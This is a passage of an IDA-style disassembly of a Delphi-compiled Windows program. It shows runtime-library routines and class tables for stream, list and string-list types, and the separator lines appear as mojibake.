		mov	eax, offset unk_41E58C
		mov	ecx, 7
		mov	edx, ds:off_401000
		call	sub_403BE8
		mov	eax, offset unk_41E570
		mov	ecx, 7
		mov	edx, ds:off_401000
		call	sub_403BE8
		mov	eax, offset unk_41E540
		mov	ecx, 0Ch
		mov	edx, ds:off_401000
		call	sub_403BE8
		mov	eax, offset unk_41E510
		mov	ecx, 0Ch
		mov	edx, ds:off_401000
		call	sub_403BE8
		mov	eax, offset dword_41E50C
		call	sub_4034C8
		mov	eax, offset dword_41E508
		call	sub_4034C8
		mov	eax, offset dword_41E504
		call	sub_4034C8
		mov	eax, offset dword_41E500
		call	sub_4034C8
		mov	eax, offset dword_41E4F8
		call	sub_4034C8
		mov	eax, offset dword_41E4F4
		call	sub_4034C8
		mov	eax, offset dword_41E4E8
		call	sub_4034C8
		mov	eax, offset unk_41C0D0
		call	sub_4034C8
		mov	eax, offset unk_41C0BC
		call	sub_4034C8

loc_40B2BC:				; CODE XREF: sub_40B194+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B2D1

locret_40B2C9:				; CODE XREF: sub_40B194+13Bj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B2CA:				; DATA XREF: sub_40B194+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B2C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B2D1:				; CODE XREF: sub_40B194+135j
					; DATA XREF: sub_40B194+130o
		pop	ebp
		retn
sub_40B194	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B2D4	proc near		; DATA XREF: CODE:0041A90Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B33C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_41E5F0, 1
		jnb	short loc_40B32E
		mov	eax, offset dword_40A5FC
		call	sub_4032D0
		mov	eax, offset dword_40A6E8
		call	sub_4032EC
		cmp	ds:byte_41E4C9,	0
		jz	short loc_40B31A
		mov	eax, offset off_41C124
		mov	edx, offset dword_40B350
		call	sub_40351C

loc_40B31A:				; CODE XREF: sub_40B2D4+35j
		call	sub_409B0C
		call	sub_40A020
		call	sub_409C44
		call	sub_40A460

loc_40B32E:				; CODE XREF: sub_40B2D4+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B343

locret_40B33B:				; CODE XREF: sub_40B2D4+6Dj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B33C:				; DATA XREF: sub_40B2D4+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B33B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B343:				; CODE XREF: sub_40B2D4+67j
					; DATA XREF: sub_40B2D4+62o
		pop	ebp
		retn
sub_40B2D4	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_40B350	dd 7830h		; DATA XREF: sub_40B2D4+3Co

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B354	proc near		; DATA XREF: CODE:0041A8F8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B379
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E600
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B380

locret_40B378:				; CODE XREF: sub_40B354+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B379:				; DATA XREF: sub_40B354+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B378
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B380:				; CODE XREF: sub_40B354+24j
					; DATA XREF: sub_40B354+1Fo
		pop	ebp
		retn
sub_40B354	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40B384:				; DATA XREF: CODE:0041A8F4o
		sub	ds:dword_41E600, 1
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B38C	proc near		; DATA XREF: CODE:0041A900o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B3B1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E604
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B3B8

locret_40B3B0:				; CODE XREF: sub_40B38C+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B3B1:				; DATA XREF: sub_40B38C+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B3B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B3B8:				; CODE XREF: sub_40B38C+24j
					; DATA XREF: sub_40B38C+1Fo
		pop	ebp
		retn
sub_40B38C	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40B3BC:				; DATA XREF: CODE:0041A8FCo
		sub	ds:dword_41E604, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40B3C4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB9Co
		dd 0FFA3h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DC2Co
		dd 0FFA4h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DC38o
		dd 0FFA5h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DC54o
		dd 0FFA6h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DBB4o
		dd 0FFA7h
off_40B3EC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC6Co
		dd 0FFA8h
off_40B3F4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC24o
		dd 0FFA9h
off_40B3FC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBCCo
		dd 0FFAAh
off_40B404	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB94o
		dd 0FFABh
off_40B40C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB90o
		dd 0FFACh
off_40B414	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB24o
		dd 0FFADh
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DBE8o
		dd 0FFAEh
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB44o
		dd 0FFAFh
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB4Co
		dd 0FF90h
off_40B434	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB28o
		dd 0FF91h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DAF0o
		dd 0FF92h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB60o
		dd 0FF93h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DAD0o
		dd 0FF94h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB70o
		dd 0FF95h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DBB8o
		dd 0FF96h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DC90o
		dd 0FF97h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB84o
		dd 0FF98h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B474	proc near		; DATA XREF: CODE:0041A918o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B499
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E608
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B4A0

locret_40B498:				; CODE XREF: sub_40B474+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B499:				; DATA XREF: sub_40B474+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B498
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B4A0:				; CODE XREF: sub_40B474+24j
					; DATA XREF: sub_40B474+1Fo
		pop	ebp
		retn
sub_40B474	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40B4A4:				; DATA XREF: CODE:0041A914o
		sub	ds:dword_41E608, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 5
aFalse		db 'False',0            ; DATA XREF: DATA:0041C2E4o
		align 4
dword_40B4BC	dd 0FFFFFFFFh, 4, 65757254h, 0,	0FFFFFFFFh, 1 ;	DATA XREF: DATA:0041C2E8o
dword_40B4D4	dd 2Eh			; DATA XREF: DATA:0041C2ECo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B4D8	proc near		; DATA XREF: CODE:0041A920o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B51E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E60C
		jnz	short loc_40B510
		mov	eax, offset off_41C2EC
		call	sub_4034C8
		mov	eax, offset off_41C2E4
		mov	ecx, 2
		mov	edx, ds:off_401000
		call	sub_403BE8

loc_40B510:				; CODE XREF: sub_40B4D8+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40B525

locret_40B51D:				; CODE XREF: sub_40B4D8+4Bj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B51E:				; DATA XREF: sub_40B4D8+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40B51D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B525:				; CODE XREF: sub_40B4D8+45j
					; DATA XREF: sub_40B4D8+40o
		pop	ebp
		retn
sub_40B4D8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40B528:				; DATA XREF: CODE:0041A91Co
		sub	ds:dword_41E60C, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40B530	dd offset dword_40B57C	; DATA XREF: CODE:0040B5B4o
					; CODE:0040B610o ...
		dd 7 dup(0)
		dd offset dword_40B57C
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B57C	dd 7453450Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:0040B530o
					; CODE:0040B550o
off_40B58C	dd offset dword_40B5D8	; DATA XREF: sub_40D940+4Br
		dd 7 dup(0)
		dd offset dword_40B5D8
		dd 0Ch
		dd offset off_40B530
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B5D8	dd 4346450Dh, 74616572h, 72724565h, 0C08B726Fh ; DATA XREF: CODE:0040B58Co
					; CODE:0040B5ACo
off_40B5E8	dd offset dword_40B634	; DATA XREF: sub_40D940+84r
		dd 7 dup(0)
		dd offset dword_40B634
		dd 0Ch
		dd offset off_40B530
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B634	dd 4F46450Bh, 456E6570h, 726F7272h ; DATA XREF:	CODE:0040B5E8o
					; CODE:0040B608o
off_40B640	dd offset dword_40B68C	; DATA XREF: CODE:0040B6C0o
					; CODE:0040B718o
		dd 7 dup(0)
		dd offset dword_40B68C
		dd 0Ch
		dd offset off_40B530
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B68C	dd 6946450Bh, 4572656Ch, 726F7272h ; DATA XREF:	CODE:0040B640o
					; CODE:0040B660o
		dd offset dword_40B6E4	; DATA XREF: sub_40D884+24r
					; sub_40DDAC+7r ...
		dd 7 dup(0)
		dd offset dword_40B6E4
		dd 0Ch
		dd offset off_40B640
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B6E4	dd 6552450Ah, 72456461h, 90726F72h ; DATA XREF:	CODE:0040B698o
					; CODE:0040B6B8o
off_40B6F0	dd offset dword_40B73C	; DATA XREF: sub_40D8BC+24r
		dd 7 dup(0)
		dd offset dword_40B73C
		dd 0Ch
		dd offset off_40B640
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B73C	dd 7257450Bh, 45657469h, 726F7272h ; DATA XREF:	CODE:0040B6F0o
					; CODE:0040B710o
off_40B748	dd offset dword_40B794	; DATA XREF: sub_40C180+23r
		dd 7 dup(0)
		dd offset dword_40B794
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B794	dd 694C450Ah, 72457473h, 90726F72h ; DATA XREF:	CODE:0040B748o
					; CODE:0040B768o
off_40B7A0	dd offset dword_40B7EC	; DATA XREF: sub_40CA0C+23r
		dd 7 dup(0)
		dd offset dword_40B7EC
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B7EC	dd 74534510h, 676E6972h, 7473694Ch, 6F727245h, 408D72h
					; DATA XREF: CODE:0040B7A0o
					; CODE:0040B7C0o
off_40B800	dd offset dword_40B84C	; DATA XREF: sub_4143D8+25r
					; sub_41442C+6Dr
		dd 7 dup(0)
		dd offset dword_40B84C
		dd 10h
		dd offset off_4062B8
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset loc_4095DC
		dd offset sub_402BCC
dword_40B84C	dd 754F450Fh, 52664F74h, 756F7365h, 73656372h ;	DATA XREF: CODE:0040B800o
					; CODE:0040B820o
off_40B85C	dd offset dword_40B8A8	; DATA XREF: sub_414244+33r
		dd 7 dup(0)
		dd offset dword_40B8A8
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40B8A8	dd 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh
					; DATA XREF: CODE:0040B85Co
					; CODE:0040B87Co
off_40B8BC	dd offset off_40B908	; DATA XREF: sub_40C1B8+28r
					; sub_40C358+26r ...
		dd 7 dup(0)
		dd offset dword_40B918
		dd 10h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40C0B0
off_40B908	dd offset loc_40C234	; DATA XREF: CODE:0040B8BCo
		dd offset nullsub_6
		dd offset sub_40C104
		dd offset sub_40C180
dword_40B918	dd 694C5405h, 0C08B7473h ; DATA	XREF: CODE:0040B8DCo
off_40B920	dd offset dword_40B96C	; DATA XREF: CODE:0040E4B8r
					; CODE:0040E4DAr ...
		dd 7 dup(0)
		dd offset dword_40B96C
		dd 24h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40C3AC
dword_40B96C	dd 6854540Bh, 64616572h, 7473694Ch ; DATA XREF:	CODE:0040B920o
					; CODE:0040B940o
off_40B978	dd offset off_40B9C4	; DATA XREF: CODE:0040BA70o
					; CODE:004134C0o
		dd 3 dup(0)
		dd offset dword_40B9F0
		dd 2 dup(0)
		dd offset dword_40B9D0
		dd offset dword_40B9DE
		align 8
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40C520
off_40B9C4	dd offset loc_40C630	; DATA XREF: CODE:0040B978o
					; CODE:0040B9FDo
		dd offset nullsub_7
		dd offset sub_40C54C
dword_40B9D0	dd 0FFFF0002h		; DATA XREF: CODE:0040B994o
		db 0FEh, 0FFh
		dd offset loc_40C6EC
		dd offset sub_40C63C
dword_40B9DE	dd 6550540Bh, 73697372h, 746E6574h ; DATA XREF:	CODE:0040B998o
		align 4
off_40B9EC	dd offset dword_40B9F0	; DATA XREF: CODE:0040BB32o
					; CODE:0041356Ao
dword_40B9F0	dd 50540B07h, 69737265h, 6E657473h ; DATA XREF:	CODE:0040B988o
					; CODE:0040B9ECo
		db 74h
		dd offset off_40B9C4
		dd offset off_401060
		dd 43070000h, 7373616Ch, 7365h
		align 4
off_40BA14	dd offset dword_40BA18	; DATA XREF: CODE:0040BB0Eo
dword_40BA18	dd 53490F0Fh, 6E697274h, 64417367h, 65747061h ;	DATA XREF: CODE:0040BA14o
		db 72h
		dd offset off_401080
		dd 9C2F3401h, 0D052EC73h, 0A69E11h, 823DAF20h, 6C4307DAh
		dd 65737361h
		db 73h,	2 dup(0)
off_40BA48	dd offset off_40BA94	; DATA XREF: CODE:0040BB90o
					; sub_40C820+Cr ...
		dd 2 dup(0)
		dd offset dword_40BB04
		dd offset dword_40BB24
		dd 3 dup(0)
		dd offset dword_40BB16
		dd 0Ch
		dd offset off_40B978
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40C6F0
off_40BA94	dd offset loc_40C630	; DATA XREF: CODE:0040BA48o
					; CODE:0040BB2Eo
		dd offset sub_40C900
		dd offset sub_40C820
		dd offset loc_4027FC
		dd offset loc_40CB84
		dd offset loc_4027FC
		dd offset loc_40CB8C
		dd offset sub_40CBE4
		dd offset sub_40CF2C
		dd offset nullsub_8
		dd offset nullsub_9
		dd offset sub_40D14C
		dd offset nullsub_10
		dd offset sub_40C720
		dd offset sub_40C744
		dd offset sub_40C768
		dd offset loc_4027FC
		dd offset loc_4027FC
		dd offset sub_40CA9C
		dd offset sub_40CB90
		dd offset sub_40CCCC
		dd offset loc_4027FC
		dd offset sub_40CD7C
		dd offset sub_40CDD0
		dd offset sub_40CE7C
		dd offset sub_40D010
		dd offset sub_40D068
		dd offset sub_40D0FC
dword_40BB04	dd 0Eh,	10000h		; DATA XREF: CODE:0040BA54o
		db 2 dup(0)
		dd offset off_40BA14
		dd 8
dword_40BB16	dd 74535408h, 676E6972h	; DATA XREF: CODE:0040BA68o
		db 73h,	90h
off_40BB20	dd offset dword_40BB24	; DATA XREF: CODE:0040BC59o
dword_40BB24	dd 53540807h, 6E697274h	; DATA XREF: CODE:0040BA58o
					; CODE:0040BB20o
		db 67h,	73h
		dd offset off_40BA94
		dd offset off_40B9EC
		align 4
		dd 616C4307h, 73657373h, 0C08B0000h
off_40BB44	dd offset dword_40BB48	; DATA XREF: sub_40D294+33r
					; sub_40D380+16r ...
dword_40BB48	dd 53540B0Eh, 6E697274h, 65744967h, 86Dh, 100h ; DATA XREF: CODE:0040BB44o
		db 0
		dd offset off_401000
		align 8
off_40BB68	dd offset off_40BBB4	; DATA XREF: CODE:0040E4C9r
					; sub_411838+1Dr ...
		dd 3 dup(0)
		dd offset dword_40BC48
		dd 3 dup(0)
		dd offset dword_40BC38
		dd 30h
		dd offset off_40BA48
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40D294
off_40BBB4	dd offset loc_40C630	; DATA XREF: CODE:0040BB68o
					; CODE:0040BC55o
		dd offset sub_40C900
		dd offset sub_40C820
		dd offset sub_40D500
		dd offset loc_40D534
		dd offset loc_40D538
		dd offset sub_40D53C
		dd offset sub_40CBE4
		dd offset sub_40D680
		dd offset sub_40D6D8
		dd offset sub_40D7A8
		dd offset sub_40D14C
		dd offset loc_40D7C4
		dd offset sub_40D2F0
		dd offset sub_40C744
		dd offset sub_40C768
		dd offset sub_40D380
		dd offset sub_40D3B8
		dd offset sub_40D41C
		dd offset sub_40CB90
		dd offset sub_40D598
		dd offset sub_40D5D0
		dd offset sub_40CD7C
		dd offset sub_40CDD0
		dd offset sub_40CE7C
		dd offset sub_40D010
		dd offset sub_40D068
		dd offset sub_40D0FC
		dd offset sub_40D348
		dd offset sub_40D364
		dd offset sub_40D498
		dd offset loc_40D7EC
		dd offset sub_40D7FC
dword_40BC38	dd 7453540Bh, 676E6972h, 7473694Ch ; DATA XREF:	CODE:0040BB88o
		dd offset dword_40BC48
dword_40BC48	dd 53540B07h, 6E697274h, 73694C67h ; DATA XREF:	CODE:0040BB78o
					; CODE:0040BC44o
		db 74h
		dd offset off_40BBB4
		dd offset off_40BB20
		dd 43070000h, 7373616Ch, 7365h
		align 4
off_40BC6C	dd offset off_40BCB8	; DATA XREF: CODE:0040BCF8o
					; CODE:0040BDCCo
		dd 7 dup(0)
		dd offset dword_40BCC8
		dd 4
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
off_40BCB8	dd offset nullsub_11	; DATA XREF: CODE:0040BC6Co
		dd offset loc_4027FC
		dd offset loc_4027FC
		dd offset loc_4027FC
dword_40BCC8	dd 74535407h, 6D616572h	; DATA XREF: CODE:0040BC8Co
off_40BCD0	dd offset off_40BD1C	; DATA XREF: CODE:0040BD64o
		dd 7 dup(0)
		dd offset dword_40BD2C
		dd 8
		dd offset off_40BC6C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
off_40BD1C	dd offset sub_40D920	; DATA XREF: CODE:0040BCD0o
		dd offset loc_40D8F4
		dd offset loc_40D904
		dd offset loc_40D914
dword_40BD2C	dd 6148540Dh, 656C646Eh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BCF0o
off_40BD3C	dd offset off_40BD88	; DATA XREF: sub_40CD7C+Br
					; sub_40D010+Er ...
		dd 7 dup(0)
		dd offset dword_40BD98
		dd 8
		dd offset off_40BCD0
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40D9F8
off_40BD88	dd offset sub_40D920	; DATA XREF: CODE:0040BD3Co
		dd offset loc_40D8F4
		dd offset loc_40D904
		dd offset loc_40D914
dword_40BD98	dd 6946540Bh, 7453656Ch, 6D616572h ; DATA XREF:	CODE:0040BD5Co
off_40BDA4	dd offset off_40BDF0	; DATA XREF: CODE:0040BE3Co
		dd 7 dup(0)
		dd offset dword_40BE00
		dd 10h
		dd offset off_40BC6C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
off_40BDF0	dd offset nullsub_11	; DATA XREF: CODE:0040BDA4o
		dd offset sub_40DA28
		dd offset loc_4027FC
		dd offset loc_40DA60
dword_40BE00	dd 75435413h, 6D6F7473h, 6F6D654Dh, 74537972h, 6D616572h
					; DATA XREF: CODE:0040BDC4o
off_40BE14	dd offset off_40BE60	; DATA XREF: sub_411838+2Cr
					; sub_4151E8+74r ...
		dd 7 dup(0)
		dd offset dword_40BE74
		dd 14h
		dd offset off_40BDA4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40DA84
off_40BE60	dd offset sub_40DB7C	; DATA XREF: CODE:0040BE14o
		dd offset sub_40DA28
		dd offset sub_40DC2C
		dd offset loc_40DA60
		dd offset sub_40DBA8
dword_40BE74	dd 654D540Dh, 79726F6Dh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BE34o
off_40BE84	dd offset dword_40BE88	; DATA XREF: sub_415C9C+9Br
					; sub_415C9C+B0r
dword_40BE88	dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1
					; DATA XREF: CODE:0040BE84o
		dd offset off_401000
		align 8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40BEA8	proc near		; CODE XREF: CODE:0040E3C8p
					; sub_40E3D0+22p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, ds:dword_41E618
		call	sub_40C4B0
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40BF60
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40BF03

loc_40BED6:				; CODE XREF: sub_40BEA8+59j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C20C
		push	eax
		call	j_VirtualQuery_0
		test	esi, esi
		jz	short loc_40BEF4
		cmp	esi, [ebp+var_18]
		jnz	short loc_40BEFD

loc_40BEF4:				; CODE XREF: sub_40BEA8+45j
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C11C

loc_40BEFD:				; CODE XREF: sub_40BEA8+4Aj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40BED6

loc_40BF03:				; CODE XREF: sub_40BEA8+2Cj
		mov	eax, ds:dword_41E61C
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40BF48

loc_40BF15:				; CODE XREF: sub_40BEA8+9Ej
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	edx, ebx
		mov	eax, ds:dword_41E61C
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		push	eax
		call	j_VirtualQuery_0
		test	esi, esi
		jz	short loc_40BF36
		cmp	esi, [ebp+var_18]
		jnz	short loc_40BF42

loc_40BF36:				; CODE XREF: sub_40BEA8+87j
		mov	edx, ebx
		mov	eax, ds:dword_41E61C
		mov	ecx, [eax]
		call	dword ptr [ecx+44h]

loc_40BF42:				; CODE XREF: sub_40BEA8+8Cj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40BF15

loc_40BF48:				; CODE XREF: sub_40BEA8+6Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40BF67

loc_40BF55:				; CODE XREF: CODE:0040BF65j
		mov	eax, ds:dword_41E618
		call	sub_40C514
		retn
sub_40BEA8	endp ; sp = -48h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40BF60:				; DATA XREF: sub_40BEA8+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40BF55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

